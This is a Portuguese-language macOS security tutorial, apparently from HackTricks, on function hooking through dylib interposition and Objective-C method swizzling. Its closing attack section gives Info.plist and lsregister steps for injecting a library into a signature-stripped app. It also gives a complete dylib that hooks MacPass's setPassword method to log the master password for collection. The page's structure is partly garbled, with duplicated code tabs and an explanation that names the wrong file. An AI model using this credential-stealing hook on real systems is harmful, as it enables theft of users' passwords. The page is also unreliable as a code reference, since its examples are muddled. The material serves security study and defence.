# Hooking de Funções no macOS
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## Interposição de Funções Crie um **dylib** com uma seção **`__interpose`** (ou uma seção marcada com **`S_INTERPOSING`**) contendo tuplas de **ponteiros de função** que se referem às funções **originais** e às funções **de substituição**. Em seguida, **injete** a dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** também se aplicam aqui](../macos-proces-abuse/macos-library-injection/#check-restrictions). ### Interpor printf {% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" %} ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { //va_list args; //va_start(args, format); //int ret = vprintf(format, args); //va_end(args); int ret = printf("Hello from interpose\n"); return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` {% tab title="hello.c" %} ```c #include int main() { printf("Hello, World!\n"); return 0; } ``` {% endtab %} {% tab title="hello.c" %} ```c #include int main() { printf("Olá, Mundo!\n"); return 0; } ``` {% endtab %} ```c //gcc hello.c -o hello #include int main() { printf("Hello World!\n"); return 0; } ``` ```c #include #include #include typedef int (*orig_open_type)(const char *pathname, int flags); typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode); int open(const char *pathname, int flags) { orig_open_type orig_open; orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open"); printf("Opening file: %s\n", pathname); return orig_open(pathname, flags); } FILE *fopen(const char *pathname, const char *mode) { orig_fopen_type orig_fopen; orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen"); printf("Opening file: %s\n", pathname); return orig_fopen(pathname, mode); } ``` Este é um exemplo de código em C que demonstra como realizar o hook de funções em um programa macOS. O código utiliza a biblioteca `dlfcn.h` para obter os ponteiros das funções originais `open` e `fopen`. Em seguida, ele substitui essas funções por suas próprias implementações, que imprimem uma mensagem informando o arquivo que está sendo aberto e, em seguida, chamam as funções originais. Para utilizar esse código, você precisa compilar o arquivo `interpose2.c` em uma biblioteca compartilhada (por exemplo, `libinterpose.dylib`) e carregá-la no programa alvo usando a variável de ambiente `DYLD_INSERT_LIBRARIES`. Isso fará com que as chamadas para as funções `open` e `fopen` sejam redirecionadas para as implementações personalizadas. Esse tipo de técnica pode ser útil para realizar a interceptação de chamadas de sistema ou de bibliotecas em um programa, permitindo que você monitore ou modifique o comportamento do programa de forma não intrusiva. No entanto, é importante ressaltar que o uso de técnicas de hooking pode ser considerado invasivo e pode violar os termos de uso de alguns softwares ou sistemas operacionais. Portanto, é essencial obter permissão adequada antes de utilizar essas técnicas. ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib #include #define DYLD_INTERPOSE(_replacement, _replacee) \ __attribute__((used)) static struct { \ const void* replacement; \ const void* replacee; \ } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ (const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacee \ }; int my_printf(const char *format, ...) { int ret = printf("Hello from interpose\n"); return ret; } DYLD_INTERPOSE(my_printf,printf); ``` {% endtab %} {% endtabs %} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` ## Método Swizzling Em ObjectiveC, é assim que um método é chamado: **`[instanciaDaMinhaClasse nomeDoMetodoPrimeiroParam:param1 segundoParam:param2]`** É necessário o **objeto**, o **método** e os **parâmetros**. E quando um método é chamado, uma **mensagem é enviada** usando a função **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(algumObjeto, @selector(metodo1p1:p2:), valor1, valor2);` O objeto é **`algumObjeto`**, o método é **`@selector(metodo1p1:p2:)`** e os argumentos são **valor1**, **valor2**. Seguindo as estruturas do objeto, é possível chegar a um **array de métodos** onde os **nomes** e **ponteiros** para o código do método estão **localizados**. {% hint style="danger" %} Observe que, como os métodos e classes são acessados com base em seus nomes, essas informações são armazenadas no binário, portanto, é possível recuperá-las com `otool -ov ` ou [`class-dump `](https://github.com/nygard/class-dump) {% endhint %} ### Acessando os métodos brutos É possível acessar as informações dos métodos, como nome, número de parâmetros ou endereço, como no exemplo a seguir: ```objectivec // gcc -framework Foundation test.m -o test #import #import #import int main() { // Get class of the variable NSString* str = @"This is an example"; Class strClass = [str class]; NSLog(@"str's Class name: %s", class_getName(strClass)); // Get parent class of a class Class strSuper = class_getSuperclass(strClass); NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); // Get information about a method SEL sel = @selector(length); NSLog(@"Selector name: %@", NSStringFromSelector(sel)); Method m = class_getInstanceMethod(strClass,sel); NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); // Iterate through the class hierarchy NSLog(@"Listing methods:"); Class currentClass = strClass; while (currentClass != NULL) { unsigned int inheritedMethodCount = 0; Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); for (unsigned int i = 0; i < inheritedMethodCount; i++) { Method method = inheritedMethods[i]; SEL selector = method_getName(method); const char* methodName = sel_getName(selector); unsigned long address = (unsigned long)method_getImplementation(m); NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); } // Free the memory allocated by class_copyMethodList free(inheritedMethods); currentClass = class_getSuperclass(currentClass); } // Other ways to call uppercaseString method if([str respondsToSelector:@selector(uppercaseString)]) { NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; NSLog(@"Uppercase string: %@", uppercaseString); } // Using objc_msgSend directly NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); NSLog(@"Uppercase string: %@", uppercaseString2); // Calling the address directly IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method NSLog(@"Uppercase string: %@", uppercaseString3); return 0; } ``` ### Método Swizzling com method\_exchangeImplementations A função **`method_exchangeImplementations`** permite **alterar** o **endereço** da **implementação** de **uma função por outra**. {% hint style="danger" %} Portanto, quando uma função é chamada, o que é **executado é a outra função**. {% endhint %} ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str #import #import // Create a new category for NSString with the method to execute @interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original method return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { // Perform method swizzling Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); method_exchangeImplementations(originalMethod, swizzledMethod); // We changed the address of one method for the other // Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); return 0; } ``` {% hint style="warning" %} Neste caso, se o código de implementação do método legítimo verifica o nome do método, ele pode detectar essa troca e impedir que ela seja executada. A técnica a seguir não possui essa restrição. {% endhint %} ### Troca de Método com method\_setImplementation O formato anterior é estranho porque você está alterando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **alterar** a **implementação** de um **método para o outro**. Apenas lembre-se de **armazenar o endereço da implementação do original** se você for chamá-lo da nova implementação antes de sobrescrevê-lo, pois posteriormente será muito complicado localizar esse endereço. ```objectivec #import #import #import static IMP original_substringFromIndex = NULL; @interface NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original implementation using objc_msgSendSuper return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { @autoreleasepool { // Get the class of the target method Class stringClass = [NSString class]; // Get the swizzled and original methods Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); // Get the function pointer to the swizzled method's implementation IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); // Swap the implementations // It return the now overwritten implementation of the original method to store it original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); // Set the original implementation back method_setImplementation(originalMethod, original_substringFromIndex); return 0; } } ``` ## Metodologia de Ataque de Hooking Nesta página, foram discutidas diferentes maneiras de fazer hook em funções. No entanto, todas elas envolvem **executar código dentro do processo para atacar**. Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). No entanto, acredito que isso também possa ser feito por meio de [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). No entanto, ambas as opções estão **limitadas** a **binários/processos desprotegidos**. Verifique cada técnica para saber mais sobre as limitações. No entanto, um ataque de hooking de função é muito específico, um invasor fará isso para **roubar informações sensíveis de dentro de um processo** (caso contrário, você faria apenas um ataque de injeção de processo). E essas informações sensíveis podem estar localizadas em aplicativos baixados pelo usuário, como o MacPass. Portanto, o vetor de ataque seria encontrar uma vulnerabilidade ou remover a assinatura do aplicativo, injetar a variável de ambiente **`DYLD_INSERT_LIBRARIES`** por meio do Info.plist do aplicativo, adicionando algo como: ```xml LSEnvironment DYLD_INSERT_LIBRARIES /Applications/Application.app/Contents/malicious.dylib ``` e em seguida **re-registre** o aplicativo: {% code overflow="wrap" %} ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` {% endcode %} Adicione nessa biblioteca o código de hooking para exfiltrar as informações: Senhas, mensagens... {% hint style="danger" %} Note que em versões mais recentes do macOS, se você **remover a assinatura** do binário do aplicativo e ele foi executado anteriormente, o macOS **não executará mais o aplicativo**. {% endhint %} #### Exemplo de biblioteca ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib // If you added env vars in the Info.plist don't forget to call lsregister as explained before // Listen to the logs with something like: // log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' #include #import // Here will be stored the real method (setPassword in this case) address static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { // Function that will log the password and call the original setPassword(pass, file_path) method NSLog(@"[+] Password is: %@", password); // After logging the password call the original method so nothing breaks. return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { // Get the real method address to not lose it Class classMPDocument = NSClassFromString(@"MPDocument"); Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); // Make the original method setPassword call the fake implementation one IMP fake_IMP = (IMP)custom_setPassword; real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` ## Referências * [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
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